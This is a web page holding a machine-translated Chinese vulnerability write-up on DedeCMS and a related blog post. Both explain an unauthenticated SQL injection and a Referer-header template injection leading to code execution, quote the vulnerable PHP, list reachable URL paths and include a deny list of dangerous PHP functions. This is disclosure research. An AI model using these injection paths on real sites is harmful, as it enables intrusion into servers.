        <strong>global</strong> <span style="color:teal">$cfg_notallowstr</span>, <span style="color:teal">$cfg_replacestr</span>, <span style="color:teal">$magic_quotes_gpc</span>;
        <strong>if</strong> (<span style="color:#0086b3">is_array</span>(<span style="color:teal">$svar</span>)) {
            <strong>foreach</strong> (<span style="color:teal">$svar</span> <strong>as</strong> <span style="color:teal">$_k</span> <strong>=></strong> <span style="color:teal">$_v</span>) {
                <span style="color:teal">$svar</span>[<span style="color:teal">$_k</span>] <strong>=</strong> <span style="color:#990000"><strong>_FilterAll</strong></span>(<span style="color:teal">$fk</span>, <span style="color:teal">$_v</span>);
            }
        } <strong>else</strong> {
            <strong>if</strong> (<span style="color:teal">$cfg_notallowstr</span> <strong>!=</strong> <span style="color:#dd1144">''</span> <strong>&&</strong> <span style="color:#0086b3">preg_match</span>(<span style="color:#dd1144">"#"</span> <span style="color:#009999">.</span> <span style="color:teal">$cfg_notallowstr</span> <span style="color:#009999">.</span> <span style="color:#dd1144">"#i"</span>, <span style="color:teal">$svar</span>)) {
                <span style="color:#990000"><strong>ShowMsg</strong></span>(<span style="color:#dd1144">" </span><span style="color:teal">$fk</span><span style="color:#dd1144"> has not allow words!"</span>, <span style="color:#dd1144">'-1'</span>);
                <strong>exit</strong>();
            }
            <strong>if</strong> (<span style="color:teal">$cfg_replacestr</span> <strong>!=</strong> <span style="color:#dd1144">''</span>) {
                <span style="color:teal">$svar</span> <strong>=</strong> <span style="color:#0086b3">preg_replace</span>(<span style="color:#dd1144">'/'</span> <span style="color:#009999">.</span> <span style="color:teal">$cfg_replacestr</span> <span style="color:#009999">.</span> <span style="color:#dd1144">'/i'</span>, <span style="color:#dd1144">"***"</span>, <span style="color:teal">$svar</span>);
            }
        }
        <strong>if</strong> (<strong>!</strong><span style="color:teal">$magic_quotes_gpc</span>) {
            <span style="color:teal">$svar</span> <strong>=</strong> <span style="color:#0086b3">addslashes</span>(<span style="color:teal">$svar</span>);
        }
        <strong>return</strong> <span style="color:teal">$svar</span>;
    }
    
    <span style="color:#999988"><em>/* 对_GET,_POST,_COOKIE进行过滤 */</em></span>
    <strong>foreach</strong> (<strong>array</strong>(<span style="color:#dd1144">'_GET'</span>, <span style="color:#dd1144">'_POST'</span>, <span style="color:#dd1144">'_COOKIE'</span>) <strong>as</strong> <span style="color:teal">$_request</span>) {
        <strong>foreach</strong> (<span style="color:teal">$$_request</span> <strong>as</strong> <span style="color:teal">$_k</span> <strong>=></strong> <span style="color:teal">$_v</span>) {
            <span style="color:teal">${$_k}</span> <strong>=</strong> <span style="color:#990000"><strong>_FilterAll</strong></span>(<span style="color:teal">$_k</span>, <span style="color:teal">$_v</span>);
        }
    }
    </code></span></span></span></span>

    你能看出这里有什么问题吗?$magic_quotes_gpc配置中的代码集。如果没有在php.inithen 中设置,则addslashes调用。但是我们可以通过$magic_quotes_gpc在请求中使用并重写该变量并避免addslashes!

    此代码用于提交由未经身份验证的用户执行的反馈。我决定看一看,我发现以下沉没/plus/bookfeedback.php

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code><strong>else</strong> <strong>if</strong>(<span style="color:teal">$action</span><strong>==</strong><span style="color:#dd1144">'send'</span>)
    {
        <span style="color:#999988"><em>//...</em></span>
        <span style="color:#999988"><em>//检查验证码</em></span>
        <strong>if</strong>(<span style="color:teal">$cfg_feedback_ck</span><strong>==</strong><span style="color:#dd1144">'Y'</span>)
        {
            <span style="color:teal">$validate</span> <strong>=</strong> <strong>isset</strong>(<span style="color:teal">$validate</span>) <strong>?</strong> <span style="color:#0086b3">strtolower</span>(<span style="color:#0086b3">trim</span>(<span style="color:teal">$validate</span>)) <strong>:</strong> <span style="color:#dd1144">''</span>;
            <span style="color:teal">$svali</span> <strong>=</strong> <span style="color:#0086b3">strtolower</span>(<span style="color:#0086b3">trim</span>(<span style="color:#990000"><strong>GetCkVdValue</strong></span>()));
            <strong>if</strong>(<span style="color:teal">$validate</span> <strong>!=</strong> <span style="color:teal">$svali</span> <strong>||</strong> <span style="color:teal">$svali</span><strong>==</strong><span style="color:#dd1144">''</span>)
            {
                <span style="color:#990000"><strong>ResetVdValue</strong></span>();
                <span style="color:#990000"><strong>ShowMsg</strong></span>(<span style="color:#dd1144">'验证码错误!'</span>,<span style="color:#dd1144">'-1'</span>);
                <strong>exit</strong>();
            }
        }
    
        <span style="color:#999988"><em>//...</em></span>
        <strong>if</strong>(<span style="color:teal">$comtype</span> <strong>==</strong> <span style="color:#dd1144">'comments'</span>)
        {
            <span style="color:teal">$arctitle</span> <strong>=</strong> <span style="color:#0086b3">addslashes</span>(<span style="color:teal">$arcRow</span>[<span style="color:#dd1144">'arctitle'</span>]);
            <span style="color:teal">$arctitle</span> <strong>=</strong> <span style="color:teal">$arcRow</span>[<span style="color:#dd1144">'arctitle'</span>];
            <strong>if</strong>(<span style="color:teal">$msg</span><strong>!=</strong><span style="color:#dd1144">''</span>)
            {
                <span style="color:teal">$inquery</span> <strong>=</strong> <span style="color:#dd1144">"INSERT INTO `#@__bookfeedback`(`aid`,`catid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                       VALUES ('</span><span style="color:teal">$aid</span><span style="color:#dd1144">','</span><span style="color:teal">$catid</span><span style="color:#dd1144">','</span><span style="color:teal">$username</span><span style="color:#dd1144">','</span><span style="color:teal">$bookname</span><span style="color:#dd1144">','</span><span style="color:teal">$ip</span><span style="color:#dd1144">','</span><span style="color:teal">$ischeck</span><span style="color:#dd1144">','</span><span style="color:teal">$dtime</span><span style="color:#dd1144">', '</span><span style="color:#dd1144">{</span><span style="color:teal">$cfg_ml</span><strong>-></strong><span style="color:teal">M_ID</span><span style="color:#dd1144">}</span><span style="color:#dd1144">','0','0','</span><span style="color:teal">$feedbacktype</span><span style="color:#dd1144">','</span><span style="color:teal">$face</span><span style="color:#dd1144">','</span><span style="color:teal">$msg</span><span style="color:#dd1144">'); "</span>;  <span style="color:#999988"><em>// 11</em></span>
                <span style="color:teal">$rs</span> <strong>=</strong> <span style="color:teal">$dsql</span><strong>-></strong><span style="color:#990000"><strong>ExecuteNoneQuery</strong></span>(<span style="color:teal">$inquery</span>); <span style="color:#999988"><em>// 12</em></span>
                <strong>if</strong>(<strong>!</strong><span style="color:teal">$rs</span>)
                {
                    <strong>echo</strong> <span style="color:teal">$dsql</span><strong>-></strong><span style="color:#990000"><strong>GetError</strong></span>();
                    <strong>exit</strong>();
                }
            }
        }
    </code></span></span></span></span>

    [11] 中,我们可以看到代码使用攻击者控制的输入(例如$catid和 )构建查询$bookname。有可能进入这个接收器并绕过addslashes触发未经身份验证的 SQL 注入:

    我们设置了会话 cookie,因为它与存储在未经身份验证的会话中的验证码相关联:

    CheckSql幸运的是,我无法绕过(不),但我可以绕过并从数据库中泄漏一些数据,因为我可以同时使用$catid$bookname进行注入,然后(ab)使用第二个命令:

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code><strong>else</strong> <strong>if</strong>(<span style="color:teal">$action</span><strong>==</strong><span style="color:#dd1144">'quote'</span>)
    {
        <span style="color:teal">$row</span> <strong>=</strong> <span style="color:teal">$dsql</span><strong>-></strong><span style="color:#990000"><strong>GetOne</strong></span>(<span style="color:#dd1144">"Select * from `#@__bookfeedback` where id ='</span><span style="color:teal">$fid</span><span style="color:#dd1144">'"</span>);
        <strong>require_once</strong>(<span style="color:teal">DEDEINC</span><span style="color:#009999">.</span><span style="color:#dd1144">'/dedetemplate.class.php'</span>);
        <span style="color:teal">$dtp</span> <strong>=</strong> <strong>new</strong> <span style="color:#445588"><strong>DedeTemplate</strong></span>();
        <span style="color:teal">$dtp</span><strong>-></strong><span style="color:#990000"><strong>LoadTemplate</strong></span>(<span style="color:teal">$cfg_basedir</span><span style="color:#009999">.</span><span style="color:teal">$cfg_templets_dir</span><span style="color:#009999">.</span><span style="color:#dd1144">'/plus/bookfeedback_quote.htm'</span>);
        <span style="color:teal">$dtp</span><strong>-></strong><span style="color:#990000"><strong>Display</strong></span>();
        <strong>exit</strong>();
    }
    </code></span></span></span></span>

    我所要做的就是猜测$fid(主键)并通过注入$msg的检查它是否匹配pwn,如果匹配,我知道注入的结果已显示给我:

    然而,这个 SQL 注入是有限的,因为我不能使用select,sleepbenchmark关键字,因为它们被CheckSql函数拒绝了。自从发现该漏洞以来,开发人员似乎/plus/bookfeedback.php在最新版本中删除了该文件,但绕过的核心问题addslashes仍然存在。在这一点上,如果我们要找到关键漏洞,我们需要关注不同的错误类别。

    ShowMsg 模板注入远程代码执行漏洞

    • CVSS: 9.8 (/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
    • 版本:5.8.1 预发布

    概括

    未经身份验证的攻击者可以针对易受攻击的 Dedecms 版本执行任意代码。

    漏洞分析

    plus/flink.php脚本内部:

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code><strong>if</strong> (<span style="color:teal">$dopost</span> <strong>==</strong> <span style="color:#dd1144">'save'</span>) {
        <span style="color:teal">$validate</span> <strong>=</strong> <strong>isset</strong>(<span style="color:teal">$validate</span>) <strong>?</strong> <span style="color:#0086b3">strtolower</span>(<span style="color:#0086b3">trim</span>(<span style="color:teal">$validate</span>)) <strong>:</strong> <span style="color:#dd1144">''</span>;
        <span style="color:teal">$svali</span> <strong>=</strong> <span style="color:#990000"><strong>GetCkVdValue</strong></span>();
        <strong>if</strong> (<span style="color:teal">$validate</span> <strong>==</strong> <span style="color:#dd1144">''</span> <strong>||</strong> <span style="color:teal">$validate</span> <strong>!=</strong> <span style="color:teal">$svali</span>) {
            <span style="color:#990000"><strong>ShowMsg</strong></span>(<span style="color:#dd1144">'验证码不正确!'</span>, <span style="color:#dd1144">'-1'</span>); <span style="color:#999988"><em>// 1</em></span>
            <strong>exit</strong>();
        }
    </code></span></span></span></span>

    [1] 处,我们可以观察到ShowMsg在 中定义的调用include/common.func.php

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code><strong>function</strong> ShowMsg(<span style="color:teal">$msg</span>, <span style="color:teal">$gourl</span>, <span style="color:teal">$onlymsg</span> <strong>=</strong> <span style="color:#009999">0</span>, <span style="color:teal">$limittime</span> <strong>=</strong> <span style="color:#009999">0</span>)
    {
        <strong>if</strong> (<span style="color:#0086b3">empty</span>(<span style="color:teal">$GLOBALS</span>[<span style="color:#dd1144">'cfg_plus_dir'</span>])) {
            <span style="color:teal">$GLOBALS</span>[<span style="color:#dd1144">'cfg_plus_dir'</span>] <strong>=</strong> <span style="color:#dd1144">'..'</span>;
        }
        <strong>if</strong> (<span style="color:teal">$gourl</span> <strong>==</strong> <strong>-</strong><span style="color:#009999">1</span>) { <span style="color:#999988"><em>// 2</em></span>
            <span style="color:teal">$gourl</span> <strong>=</strong> <strong>isset</strong>(<span style="color:teal">$_SERVER</span>[<span style="color:#dd1144">'HTTP_REFERER'</span>]) <strong>?</strong> <span style="color:teal">$_SERVER</span>[<span style="color:#dd1144">'HTTP_REFERER'</span>] <strong>:</strong> <span style="color:#dd1144">''</span>; <span style="color:#999988"><em>// 3</em></span>
            <strong>if</strong> (<span style="color:teal">$gourl</span> <strong>==</strong> <span style="color:#dd1144">""</span>) {
                <span style="color:teal">$gourl</span> <strong>=</strong> <strong>-</strong><span style="color:#009999">1</span>;
            }
        }
    
        <span style="color:teal">$htmlhead</span> <strong>=</strong> <span style="color:#dd1144">"
        <html></span><span style="color:#dd1144">\r\n</span><span style="color:#dd1144"><head></span><span style="color:#dd1144">\r\n</span><span style="color:#dd1144"><title>DedeCMS提示信息
        ...
        <script></span><span style="color:#dd1144">\r\n</span><span style="color:#dd1144">"</span>;
        <span style="color:teal">$htmlfoot</span> <strong>=</strong> <span style="color:#dd1144">"
        </script>
        ...
        </body></span><span style="color:#dd1144">\r\n</span><span style="color:#dd1144"></html></span><span style="color:#dd1144">\r\n</span><span style="color:#dd1144">"</span>;
    
        <span style="color:teal">$litime</span> <strong>=</strong> (<span style="color:teal">$limittime</span> <strong>==</strong> <span style="color:#009999">0</span> <strong>?</strong> <span style="color:#009999">1000</span> <strong>:</strong> <span style="color:teal">$limittime</span>);
        <span style="color:teal">$func</span> <strong>=</strong> <span style="color:#dd1144">''</span>;
    
        <span style="color:#999988"><em>//...</em></span>
    
        <strong>if</strong> (<span style="color:teal">$gourl</span> <strong>==</strong> <span style="color:#dd1144">''</span> <strong>||</strong> <span style="color:teal">$onlymsg</span> <strong>==</strong> <span style="color:#009999">1</span>) {
            <span style="color:#999988"><em>//...</em></span>
        } <strong>else</strong> {
            <span style="color:#999988"><em>//...</em></span>
            <span style="color:teal">$func</span> <span style="color:#009999">.</span><strong>=</strong> <span style="color:#dd1144">"var pgo=0;
          function JumpUrl(){
            if(pgo==0){ location='</span><span style="color:teal">$gourl</span><span style="color:#dd1144">'; pgo=1; }
          }</span><span style="color:#dd1144">\r\n</span><span style="color:#dd1144">"</span>;
            <span style="color:teal">$rmsg</span> <strong>=</strong> <span style="color:teal">$func</span>;
            <span style="color:#999988"><em>//...</em></span>
            <strong>if</strong> (<span style="color:teal">$onlymsg</span> <strong>==</strong> <span style="color:#009999">0</span>) {
                <strong>if</strong> (<span style="color:teal">$gourl</span> <strong>!=</strong> <span style="color:#dd1144">'javascript:;'</span> <strong>&&</strong> <span style="color:teal">$gourl</span> <strong>!=</strong> <span style="color:#dd1144">''</span>) {
                    <span style="color:teal">$rmsg</span> <span style="color:#009999">.</span><strong>=</strong> <span style="color:#dd1144">"<br /><a href='</span><span style="color:#dd1144">{</span><span style="color:teal">$gourl</span><span style="color:#dd1144">}</span><span style="color:#dd1144">'>如果你的浏览器没反应,请点击这里...</a>"</span>;
                    <span style="color:teal">$rmsg</span> <span style="color:#009999">.</span><strong>=</strong> <span style="color:#dd1144">"<br/></div></span><span style="color:#dd1144">\"</span><span style="color:#dd1144">);</span><span style="color:#dd1144">\r\n</span><span style="color:#dd1144">"</span>;
                    <span style="color:teal">$rmsg</span> <span style="color:#009999">.</span><strong>=</strong> <span style="color:#dd1144">"setTimeout('JumpUrl()',</span><span style="color:teal">$litime</span><span style="color:#dd1144">);"</span>;
                } <strong>else</strong> {
                    <span style="color:#999988"><em>//...</em></span>
                }
            } <strong>else</strong> {
                <span style="color:#999988"><em>//...</em></span>
            }
            <span style="color:teal">$msg</span> <strong>=</strong> <span style="color:teal">$htmlhead</span> <span style="color:#009999">.</span> <span style="color:teal">$rmsg</span> <span style="color:#009999">.</span> <span style="color:teal">$htmlfoot</span>;
        }
    
        <span style="color:teal">$tpl</span> <strong>=</strong> <strong>new</strong> <span style="color:#445588"><strong>DedeTemplate</strong></span>();
        <span style="color:teal">$tpl</span><strong>-></strong><span style="color:#990000"><strong>LoadString</strong></span>(<span style="color:teal">$msg</span>); <span style="color:#999988"><em>// 4</em></span>
        <span style="color:teal">$tpl</span><strong>-></strong><span style="color:#990000"><strong>Display</strong></span>(); <span style="color:#999988"><em>// 5</em></span>
    }
    </code></span></span></span></span>

    我们可以在[2]中看到,如果$gourl设置为 -1,则攻击者可以通过引用标头控制[3]$gourl处的变量。该变量未过滤并嵌入到变量中,该变量由[4]处的调用加载并由[5]处的调用解析。在里面我们发现:$msgLoadStringDisplayinclude/dedetemplate.class.php

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code><strong>class</strong> <span style="color:#445588"><strong>DedeTemplate</strong></span>
    {
        <span style="color:#999988"><em>//...</em></span>
        <strong>public</strong> <strong>function</strong> LoadString(<span style="color:teal">$str</span> <strong>=</strong> <span style="color:#dd1144">''</span>)
        {
            <span style="color:teal">$this</span><strong>-></strong>sourceString <strong>=</strong> <span style="color:teal">$str</span>; <span style="color:#999988"><em>// 6</em></span>
            <span style="color:teal">$hashcode</span> <strong>=</strong> <span style="color:#0086b3">md5</span>(<span style="color:teal">$this</span><strong>-></strong>sourceString);
            <span style="color:teal">$this</span><strong>-></strong>cacheFile <strong>=</strong> <span style="color:teal">$this</span><strong>-></strong>cacheDir <span style="color:#009999">.</span> <span style="color:#dd1144">"/string_"</span> <span style="color:#009999">.</span> <span style="color:teal">$hashcode</span> <span style="color:#009999">.</span> <span style="color:#dd1144">".inc"</span>;
            <span style="color:teal">$this</span><strong>-></strong>configFile <strong>=</strong> <span style="color:teal">$this</span><strong>-></strong>cacheDir <span style="color:#009999">.</span> <span style="color:#dd1144">"/string_"</span> <span style="color:#009999">.</span> <span style="color:teal">$hashcode</span> <span style="color:#009999">.</span> <span style="color:#dd1144">"_config.inc"</span>;
            <span style="color:teal">$this</span><strong>-></strong><span style="color:#990000"><strong>ParseTemplate</strong></span>();
        }
        
        <span style="color:#999988"><em>//...</em></span>
        <strong>public</strong> <strong>function</strong> Display()
        {
            <strong>global</strong> <span style="color:teal">$gtmpfile</span>;
            <span style="color:#0086b3">extract</span>(<span style="color:teal">$GLOBALS</span>, <span style="color:teal">EXTR_SKIP</span>);
            <span style="color:teal">$this</span><strong>-></strong><span style="color:#990000"><strong>WriteCache</strong></span>(); <span style="color:#999988"><em>// 7</em></span>
            <strong>include</strong> <span style="color:teal">$this</span><strong>-></strong>cacheFile; <span style="color:#999988"><em>// 9</em></span>
        }
    </code></span></span></span></span>

    [6]sourceString设置与攻击者控制的$msg。然后在[7] 处 WriteCache被调用:

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code>    <strong>public</strong> <strong>function</strong> WriteCache(<span style="color:teal">$ctype</span> <strong>=</strong> <span style="color:#dd1144">'all'</span>)
        {
            <strong>if</strong> (<strong>!</strong><span style="color:#0086b3">file_exists</span>(<span style="color:teal">$this</span><strong>-></strong>cacheFile) <strong>||</strong> <span style="color:teal">$this</span><strong>-></strong>isCache <strong>==</strong> <strong>false</strong>
                <strong>||</strong> (<span style="color:#0086b3">file_exists</span>(<span style="color:teal">$this</span><strong>-></strong>templateFile) <strong>&&</strong> (<span style="color:#0086b3">filemtime</span>(<span style="color:teal">$this</span><strong>-></strong>templateFile) <strong>></strong> <span style="color:#0086b3">filemtime</span>(<span style="color:teal">$this</span><strong>-></strong>cacheFile)))
            ) {
                <strong>if</strong> (<strong>!</strong><span style="color:teal">$this</span><strong>-></strong>isParse) {
                    <span style="color:#999988"><em>//...</em></span>
                }
                <span style="color:teal">$fp</span> <strong>=</strong> <span style="color:#0086b3">fopen</span>(<span style="color:teal">$this</span><strong>-></strong>cacheFile, <span style="color:#dd1144">'w'</span>) <strong>or</strong> <span style="color:#0086b3">dir</span>(<span style="color:#dd1144">"Write Cache File Error! "</span>);
                <span style="color:#0086b3">flock</span>(<span style="color:teal">$fp</span>, <span style="color:#009999">3</span>);
                <span style="color:teal">$result</span> <strong>=</strong> <span style="color:#0086b3">trim</span>(<span style="color:teal">$this</span><strong>-></strong><span style="color:#990000"><strong>GetResult</strong></span>()); <span style="color:#999988"><em>// 8</em></span>
                <span style="color:teal">$errmsg</span> <strong>=</strong> <span style="color:#dd1144">''</span>;     
                <strong>if</strong> (<strong>!</strong><span style="color:teal">$this</span><strong>-></strong><span style="color:#990000"><strong>CheckDisabledFunctions</strong></span>(<span style="color:teal">$result</span>, <span style="color:teal">$errmsg</span>)) { <span style="color:#999988"><em>// 9</em></span>
                    <span style="color:#0086b3">fclose</span>(<span style="color:teal">$fp</span>);
                    <strong>@</strong><span style="color:#0086b3">unlink</span>(<span style="color:teal">$this</span><strong>-></strong>cacheFile);
                    <strong>die</strong>(<span style="color:teal">$errmsg</span>);
                }
                <span style="color:#0086b3">fwrite</span>(<span style="color:teal">$fp</span>, <span style="color:teal">$result</span>);
                <span style="color:#0086b3">fclose</span>(<span style="color:teal">$fp</span>);
                <span style="color:#999988"><em>//...</em></span>
            }
    </code></span></span></span></span>

    [8] 处,代码调用GetResult返回值sourceString来设置$result变量,该变量现在包含攻击者控制的输入。在[9] 处,CheckDisabledFunctions函数在$result变量上被调用。让我们看看是什么CheckDisabledFunctions

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code>    <strong>public</strong> <strong>function</strong> CheckDisabledFunctions(<span style="color:teal">$str</span>, <strong>&</strong><span style="color:teal">$errmsg</span> <strong>=</strong> <span style="color:#dd1144">''</span>)
        {
            <strong>global</strong> <span style="color:teal">$cfg_disable_funs</span>;
            <span style="color:teal">$cfg_disable_funs</span> <strong>=</strong> <strong>isset</strong>(<span style="color:teal">$cfg_disable_funs</span>) <strong>?</strong> <span style="color:teal">$cfg_disable_funs</span> <strong>:</strong> <span style="color:#dd1144">'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite'</span>;
            <span style="color:#999988"><em>// 模板引擎增加disable_functions</em></span>
            <strong>if</strong> (<strong>!</strong><span style="color:#0086b3">defined</span>(<span style="color:#dd1144">'DEDEDISFUN'</span>)) {
                <span style="color:teal">$tokens</span> <strong>=</strong> <span style="color:#990000"><strong>token_get_all_nl</strong></span>(<span style="color:teal">$str</span>);
                <span style="color:teal">$disabled_functions</span> <strong>=</strong> <span style="color:#0086b3">explode</span>(<span style="color:#dd1144">','</span>, <span style="color:teal">$cfg_disable_funs</span>);
                <strong>foreach</strong> (<span style="color:teal">$tokens</span> <strong>as</strong> <span style="color:teal">$token</span>) {
                    <strong>if</strong> (<span style="color:#0086b3">is_array</span>(<span style="color:teal">$token</span>)) {
                        <strong>if</strong> (<span style="color:teal">$token</span>[<span style="color:#009999">0</span>] <strong>=</strong> <span style="color:#dd1144">'306'</span> <strong>&&</strong> <span style="color:#0086b3">in_array</span>(<span style="color:teal">$token</span>[<span style="color:#009999">1</span>], <span style="color:teal">$disabled_functions</span>)) {
                            <span style="color:teal">$errmsg</span> <strong>=</strong> <span style="color:#dd1144">'DedeCMS Error:function disabled "'</span> <span style="color:#009999">.</span> <span style="color:teal">$token</span>[<span style="color:#009999">1</span>] <span style="color:#009999">.</span> <span style="color:#dd1144">'" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>'</span>;
                            <strong>return</strong> <strong>false</strong>;
                        }
                    }
                }
            }
            <strong>return</strong> <strong>true</strong>;
        }
    </code></span></span></span></span>

    好。这是可能的攻击者绕过此否认与一些创意几种方式列表,写出恶意PHP到临时文件,并最终达到includeDisplay[9]执行任意代码。

    概念证明

    可以借用自己的代码并调用危险函数,但无论如何都有几种通用方法可以绕过拒绝列表。不检查引用标头是否有双引号,因此以下有效负载将起作用:

    以下(非详尽的)列表路径可以到达该漏洞:

    1. /plus/flink.php?dopost=save
    2. /plus/users_products.php?oid=1337
    3. /plus/download.php?aid=1337
    4. /plus/showphoto.php?aid=1337
    5. /plus/users-do.php?fmdo=sendMail
    6. /plus/posttocar.php?id=1337
    7. /plus/vote.php?dopost=view
    8. /plus/carbuyaction.php?do=clickout
    9. /plus/recommend.php

    报告

    我在 2021 年 4 月左右发现了这个漏洞,但决定继续使用它,因为它只影响pre-release发行版而不是发行版。在 repo 上几个月不活动后,我决定在 9 月 23 日向该错误报告,opensource@dedecms.com两天后发布了一个解决该错误的静默补丁

    由于开发人员的这种行为,我决定不报告影响发布版本的其余 RCE 漏洞。虽然我同意不需要 CVE,但我确实认为至少应该在提交中添加安全说明。

    结论

    我真的很喜欢审核中国软件,因为开发人员的思维方式往往与西方开发人员截然不同。逻辑流程更加流畅,作为安全审计员,它要求您在看到代码中出现的新模式时站起来思考并改变策略。

    这是一个简单的提醒,即使产品被审计到死,也不要对自己失去信心。即使您不会说中文,您的下一个 RCE 也即将到来。

    参考

    展开全文
  • 如图所示:dedecms在线订单发送邮件插件用途:访客在线发送信息到您预先设置的邮箱,稍加修改,即可作为订单、反馈、求职等邮件发送。解压包里有安装说明,新手不会的话可以联系站长,或者留言即可。
  • dedecms介绍 DedeCMS是国内专业的PHP网站内容管理系统-织梦内容管理系统,采用XML名字空间风格核心模板:模板全部使用文件形式保存,对用户设计模板、网站升级转移均提供很大的便利,健壮的模板标签为站长DIY自己的...

    dedecms介绍

    DedeCMS是国内专业的PHP网站内容管理系统-织梦内容管理系统,采用XML名字空间风格核心模板:模板全部使用文件形式保存,对用户设计模板、网站升级转移均提供很大的便利,健壮的模板标签为站长DIY自己的网站提供了强有力的支持。高效率标签缓存机制:允许对同类的标签进行缓存,在生成 HTML的时候,有利于提高系统反应速度,降低系统消耗的资源。模型与模块概念并存:在模型不能满足用户所有需求的情况下,DedeCMS推出一些互动的模块对系统进行补充,尽量满足用户的需求。众多的应用支持:为用户提供了各类网站建设的一体化解决方案。

    环境搭建

    DedeCMS V5.8.1 beta 内测版下载
    https://www.dedemao.com/dedeplug/dedecmsv58.html

    漏洞描述

    这洞蛮简单的,有点类似于以前那个dz的前台代码执行,在写入临时tpl缓存文件的时候,缓存内容中存在可控的函数且使用了include进行包含,导致我们可以写入任意代码,造成代码执行,漏洞主要是由于include\common.func.php中定义的ShowMsg参数导致的,任何文件存在调用ShowMsg的情况下,都可以造成模板注入。

    漏洞复现

    找个调用ShowMsg的文件,下面以plus/recommend.php为例分析。
    在这里插入图片描述

    当$aid为空,则会调用ShowMsg,进到ShowMsg函数-> \include\common.function.php
    在这里插入图片描述

    function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
    {
        if (empty($GLOBALS['cfg_plus_dir'])) {
            $GLOBALS['cfg_plus_dir'] = '..';
        }
        if ($gourl == -1) {
            $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';//可控
            if ($gourl == "") {
                $gourl = -1;
            }
        }
    

    定义的模板内容:

        $htmlhead = "
        <html>\r\n<head>\r\n<title>DedeCMS提示信息</title>\r\n
        <meta http-equiv=\"Content-Type\" content=\"text/html; charset={dede:global.cfg_soft_lang/}\" />
        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\">
        <meta name=\"renderer\" content=\"webkit\">
        <meta http-equiv=\"Cache-Control\" content=\"no-siteapp\" />
        <link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css\" />
        <link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/css/manage.dede.css\">
        <base target='_self'/>
        </head>
        <body>
        " . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "
        <center style=\"width:450px\" class=\"uk-container\">
        
        <div class=\"uk-card uk-card-small uk-card-default\" style=\"margin-top: 50px;\">
            <div class=\"uk-card-header\"  style=\"height:20px\">DedeCMS 提示信息!</div>
    
        <script>\r\n";
        $htmlfoot = "
        </script>
        
        
        </center>
        
        <script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js\"></script>
    	<script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js\"></script>
        </body>\r\n</html>\r\n";
    
        $litime = ($limittime == 0 ? 1000 : $limittime);
        $func = '';
    
        if ($gourl == '-1') {
            if ($limittime == 0) {
                $litime = 3000;
            }
    
            $gourl = "javascript:history.go(-1);";
        }
    
        if ($gourl == '' || $onlymsg == 1) {
            $msg = "<script>alert(\"" . str_replace("\"", "“", $msg) . "\");</script>";
        } else {
            //当网址为:close::objname 时, 关闭父框架的id=objname元素
            if (preg_match('/close::/', $gourl)) {
                $tgobj = trim(preg_replace('/close::/', '', $gourl));
                $gourl = 'javascript:;';
                $func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";
            }
    
            $func .= "var pgo=0;
          function JumpUrl(){
            if(pgo==0){ location='$gourl'; pgo=1; }
          }\r\n";
            $rmsg = $func;
            $rmsg .= "document.write(\"<div style='height:130px;font-size:10pt;background:#ffffff'><br />\");\r\n";
            $rmsg .= "document.write(\"" . str_replace("\"", "“", $msg) . "\");\r\n";
            $rmsg .= "document.write(\"";
    
            if ($onlymsg == 0) {
                if ($gourl != 'javascript:;' && $gourl != '') {
                    $rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
                    $rmsg .= "<br/></div>\");\r\n";
                    $rmsg .= "setTimeout('JumpUrl()',$litime);";
                } else {
                    $rmsg .= "<br/></div>\");\r\n";
                }
            } else {
                $rmsg .= "<br/><br/></div>\");\r\n";
            }
            $msg = $htmlhead . $rmsg . $htmlfoot;//$msg存储缓存信息
        }
        
        $tpl = new DedeTemplate();//调用DedeTemplate类
        $tpl->LoadString($msg); //处理模板,传输$msg
        $tpl->Display();
    }
    

    在这里gourl是可控的,定义默认为-1

    if (empty($aid)) {
        ShowMsg("文档ID不能为空!", "-1");
        exit();
    }
    

    所以,gourl的值可控。

    接着看处理模板的位置,跟进LoadString($msg)方法,DedeTemplate类定义追溯到include/dedetemplate.class.php

    public function LoadString($str = '')
        {
            $this->sourceString = $str;//将缓存信息存储到sourceString
            $hashcode = md5($this->sourceString);
            $this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";
            $this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";
            $this->ParseTemplate();
        }
    

    该函数首先设置缓存文件和缓存配置文件,缓存文件位于data\tplcache目录,随后调用ParserTemplate对文件进行初步检查。
    在这里插入图片描述

    接着返回到\include\common.function.php,看到,最后调用了Display()方法,include/dedetemplate.class.php

    public function Display()
        {
            global $gtmpfile;
            extract($GLOBALS, EXTR_SKIP);
            $this->WriteCache();
            include $this->cacheFile;
        }
    

